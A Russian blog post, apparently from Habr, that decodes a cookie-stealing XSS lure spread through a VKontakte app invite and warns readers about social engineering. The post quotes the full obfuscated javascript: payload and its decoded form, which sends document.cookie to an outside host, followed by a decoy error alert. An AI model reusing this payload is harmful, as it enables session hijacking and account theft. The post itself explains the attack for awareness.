Как стать автором
Обновить

Даже при закрытых дырах на «Вконтакте» можно устроить XSS

Время на прочтение1 мин
Количество просмотров2.9K
Пригласили меня тут на днях добавить одно приложение «Вконтакте». Интерес взял верх — и я полез смотреть.

Вот, что я увидел:
image
Строка длинная, поэтому в поле ввода приложения не поместилась.
Приведу её полностью:
javascript:page=String.fromCharCode(105,109,103,61,110,101,119,32,73,109,97,103,101,40,41,59,105,
109,103,46,115,114,99,61,39,104,116,116,112,58,47,47,118,112,111,112,107,117,46,111,114,103,47,115,117,112,47,
115,46,112,104,112,63,113,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59);
eval(page);
alert(unescape("%u041D%u0435%20%u0443%u0434%u0430%u0435%u0442%u0441%u044F%20%u0432%u044B%u043F%u043E%u043B%u043D%u0438%u0442%u044C%20%u0434%u0435%u0439%u0441%u0442%u0432%u0438%u0435%21"));


Всё довольно-таки тривиально: сначала выполняется скрипт, который отсылает куки недоброжелателю:
img=new Image();
img.src='http://vpopku.org/sup/s.php?q='+document.cookie;


А, затем, пользователю alert'ом выдаётся сообщение:
«Не удается выполнить действие!»
Увидев которое, пользователь, хоть и огорчившись, но ничего не заподозрив, закрывает приложение.

Поэтому, хочется ещё раз сказать, что даже если будут закрыты все дыры в безопасности на сайтах, то всегда останется самый действенный во все времена способ — социальная инженерия.

P.S. Впервые столкнулся именно с таким проявлением социальной инженерии и XSS. Если повтор — извиняйте.
Теги:
Хабы:
Всего голосов 166: ↑150 и ↓16+134
Комментарии133

Публикации

Истории

Работа

Ближайшие события

7 – 8 ноября
Конференция byteoilgas_conf 2024
МоскваОнлайн
7 – 8 ноября
Конференция «Матемаркетинг»
МоскваОнлайн
15 – 16 ноября
IT-конференция Merge Skolkovo
Москва
22 – 24 ноября
Хакатон «AgroCode Hack Genetics'24»
Онлайн
28 ноября
Конференция «TechRec: ITHR CAMPUS»
МоскваОнлайн
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань